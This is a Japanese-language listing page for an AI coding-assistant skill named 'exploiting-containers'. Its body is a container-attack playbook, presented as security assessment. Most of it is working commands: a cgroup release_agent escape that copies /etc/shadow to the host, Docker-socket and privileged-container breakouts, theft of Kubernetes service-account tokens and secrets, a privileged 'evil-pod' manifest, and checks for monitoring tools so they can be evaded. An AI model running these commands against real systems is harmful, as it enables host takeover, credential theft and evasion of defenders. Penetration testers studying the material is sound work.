mcpField
E
exploiting-containers

exploiting-containers

github.com/trilwuセキュリティ17792 回インストール12 週間前に更新
リポジトリ

exploiting-containers について

exploiting-containersは、DockerやKubernetes環境の評価・テストに使うセキュリティスキルです。列挙、設定不備、脱出経路、イメージ分析を扱い、専門的なケースは別のスキルへ案内します。

主な機能

  1. 01Dockerコンテナの列挙と脱出分析
  2. 02Kubernetes環境とRBACの確認
  3. 03一般的なコンテナ設定不備の特定
  4. 04イメージとコンテナレジストリの分析
  5. 05状況に応じた専門スキルへの振り分け

活用シーン

  1. 01Dockerコンテナのセキュリティ設定評価
  2. 02Kubernetesの権限とAPIアクセスのテスト
  3. 03イメージ内のファイルや機密情報の確認
  4. 04より詳細な脱出分析が必要か判断

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/trilwu/secskills --skill exploiting-containers

インストール後、Claude Code で/exploiting-containersを入力して読み込まれたか確認します。

詳細

コンテナセキュリティとエスケープのスキル

Docker、Kubernetes、コンテナエスケープ技術を専門とするコンテナセキュリティのエキスパートです。ユーザーが次のような支援を求めた場合に、このスキルを使用します。

  • Docker コンテナのセキュリティ評価
  • コンテナエスケープ技術
  • Kubernetes のセキュリティテスト
  • コンテナの設定ミスの特定
  • Docker ソケットの悪用
  • Kubernetes API の不正使用
  • コンテナランタイムの脆弱性

使用する場合

ユーザーが次のことを求めた場合に、このスキルを有効にします。

  • Docker コンテナのセキュリティをテストする
  • コンテナからエスケープする
  • Kubernetes 環境を列挙する
  • コンテナの設定ミスを悪用する
  • コンテナイメージを分析する
  • Kubernetes RBAC をテストする
  • コンテナセキュリティ評価を実施する

使用しない場合

  • エスケープ後のホスト権限昇格 — escalating-linux-privileges を使用します
  • クラウドコントロールプレーンの不正使用 — exploiting-cloud-platforms を使用します
  • ソースコードからのコンテナ設定のレビュー — auditing-code-for-vulnerabilities を使用します
  • イメージとレジストリのサプライチェーン — auditing-supply-chain を使用します

詳細スキルへの振り分け

シグナルスキル
コンテナが強化されている — seccomp が有効、ケイパビリティが削除済み、--privileged がなく、明白なエスケープ手法がブロックされているescaping-hardened-containers
対象がマネージドクラスター(EKS/GKE/AKS)で、目的がホストからのエスケープではなくクラウド IAM またはクラスター RBAC であるattacking-eks-gke-aks

以下の基本的な手法(特権コンテナ、Docker ソケット、明白なマウント)を 最初に確認します。これらがすべて対策済みの場合は、 escaping-hardened-containers を使用してください。

主な手法

1. Docker コンテナの検出と列挙

コンテナ内にいるかどうかの検出:

# Check for .dockerenv
ls -la /.dockerenv

# Check cgroup
cat /proc/1/cgroup | grep docker
cat /proc/self/cgroup | grep -E 'docker|lxc|kubepods'

# Check for container-specific files
cat /proc/1/environ | grep container
ls -la /.containerenv  # Podman

# Check mount points
cat /proc/self/mountinfo | grep docker

# Hostname often matches container ID
hostname

コンテナ情報:

# Check capabilities
cat /proc/self/status | grep Cap
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')

# Check if privileged
if [ -c /dev/kmsg ]; then echo "Likely privileged"; fi

# Mounted volumes
mount | grep -E "docker|kubelet"
df -h

# Network config
ip addr
ip route
cat /etc/resolv.conf
2. Docker のエスケープ技術

特権コンテナからのエスケープ:

# If running as privileged container
# List host devices
fdisk -l

# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Chroot to host
chroot /mnt/host /bin/bash

# Alternative - escape via cgroups
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/shadow_copy" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Docker ソケットがマウントされている場合(/var/run/docker.sock):

# Check if socket is mounted
ls -la /var/run/docker.sock

# List containers
docker ps
docker ps -a

# Create privileged container with host filesystem mounted
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Or create new privileged container
docker run -v /:/hostfs --privileged -it ubuntu bash
chroot /hostfs /bin/bash

# Execute command in existing container
docker exec -it <container_id> /bin/bash

ケイパビリティの悪用:

# CAP_SYS_ADMIN - various admin functions
# Can mount filesystems, load kernel modules, etc.

# CAP_SYS_PTRACE - debug other processes
gdb -p 1
call system("id")

# CAP_SYS_MODULE - load kernel modules
# Create malicious kernel module for root access

# CAP_DAC_READ_SEARCH - bypass file read permissions
# Can read any file on system

# CAP_SYS_RAWIO - raw I/O operations
# Can read/write physical memory

書き込み可能な cgroup または release_agent:

# If cgroup is writable
# This technique abuses notify_on_release
# Creates cgroup, sets release_agent to run on host, triggers it

containerd/runc の脆弱性:

# CVE-2019-5736 - runc container escape
# Overwrite runc binary on host when container starts
3. Kubernetes の列挙

Kubernetes Pod 内にいるかどうかの確認:

# Service account token
ls -la /run/secrets/kubernetes.io/serviceaccount/
cat /run/secrets/kubernetes.io/serviceaccount/token

# Kubernetes environment variables
env | grep KUBERNETES

# DNS resolution
nslookup kubernetes.default

Kubernetes API へのアクセス:

# Set variables
TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
NAMESPACE=$(cat /run/secrets/kubernetes.io/serviceaccount/namespace)

# Test API access
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN"

# List pods
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN" | jq

# Get secrets
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/secrets --header "Authorization: Bearer $TOKEN"

kubectl コマンド(使用可能な場合):

# Using service account token
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get pods
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get secrets
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get nodes

# Try to create privileged pod
kubectl apply -f malicious-pod.yaml

# Execute in existing pod
kubectl exec -it <pod-name> -- /bin/bash

Kubernetes の権限昇格:

# Create privileged pod with host filesystem
apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: evil-container
    image: alpine
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
    command: ["/bin/sh"]
    args: ["-c", "chroot /host && bash"]
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

Kubernetes シークレットの抽出:

# Decode secrets
kubectl get secrets -o json | jq -r '.items[].data | to_entries[] | "\(.key): \(.value | @base64d)"'

# Specific secret
kubectl get secret <secret-name> -o json | jq -r '.data | to_entries[] | "\(.key): \(.value | @base64d)"'
4. Docker イメージの分析

イメージからのファイルの抽出:

# Pull image
docker pull image:tag

# Create container without running
docker create --name temp image:tag

# Copy files out
docker cp temp:/path/to/file ./local/path

# Remove container
docker rm temp

# Save image as tar
docker save image:tag -o image.tar
tar -xf image.tar

# Analyze layers
dive image:tag

イメージ内のシークレットの検索:

# Grep for passwords/keys
docker history image:tag --no-trunc
docker inspect image:tag

# Extract and search all layers
for layer in $(tar -tf image.tar | grep layer.tar); do
  tar -xf image.tar "$layer"
  tar -tf "$layer" | grep -E "\.pem$|\.key$|password|secret"
done
5. コンテナレジストリの悪用

認証なしでのレジストリアクセス:

# List repositories
curl http://registry.local:5000/v2/_catalog

# List tags
curl http://registry.local:5000/v2/<repo>/tags/list

# Pull manifest
curl http://registry.local:5000/v2/<repo>/manifests/<tag>

# Download layers
curl http://registry.local:5000/v2/<repo>/blobs/<digest>
6. カーネルエクスプロイトによるコンテナブレイクアウト

Dirty Pipe(CVE-2022-0847):

# Affects kernels 5.8 - 5.16.11
# Can overwrite read-only files
# Compile and run exploit

DirtyCow(CVE-2016-5195):

# Affects older kernels
# Can write to read-only memory mappings

検出と防御回避

コンテナセキュリティツール:

# Check for security scanning tools
ps aux | grep -E "falco|sysdig|aqua|twistlock"

# Check for monitoring
ls -la /proc/*/exe | grep -E "falco|sysdig"

自動化ツール

Docker の列挙:

# deepce - Docker enumeration
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
chmod +x deepce.sh
./deepce.sh

# CDK - Container penetration toolkit
./cdk evaluate
./cdk run <exploit>

Kubernetes ツール:

# kubectl-who-can
kubectl-who-can create pods
kubectl-who-can get secrets

# kube-hunter
kube-hunter --remote <k8s-api-server>

# kubeaudit
kubeaudit all

よくある設定ミス

Docker:

  • 特権コンテナ(--privileged)
  • Docker ソケットのマウント(-v /var/run/docker.sock:/var/run/docker.sock)
  • ホストファイルシステムのマウント(-v /:/host)
  • 過剰なケイパビリティ(--cap-add=SYS_ADMIN)
  • ホストネットワークモード(--network=host)
  • ホスト PID 名前空間(--pid=host)

Kubernetes:

  • 過度に許可的な RBAC
  • cluster-admin 権限を持つデフォルトのサービスアカウント
  • 特権 Pod(privileged: true)
  • hostPath ボリューム
  • ホストネットワーキング(hostNetwork: true)
  • Pod セキュリティポリシーがない
  • 環境変数内のシークレット

参考リンク

ATT&CK のカバレッジ

secskills-core/ttp-index.json から生成されています。このファイルを編集してから、 python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、 ID を現在の ATT&CK リリースと照合して再確認してください。

実行(TA0002)

  • T1609 コンテナ管理コマンド
  • T1610 コンテナのデプロイ (防御回避にも該当) — attacking-eks-gke-aks も参照してください

権限昇格(TA0004)

  • T1611 ホストへの脱出 — escaping-hardened-containers も参照してください

探索(TA0007)

  • T1613 コンテナとリソースの探索

これらのいずれかに関する検知コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。

コメント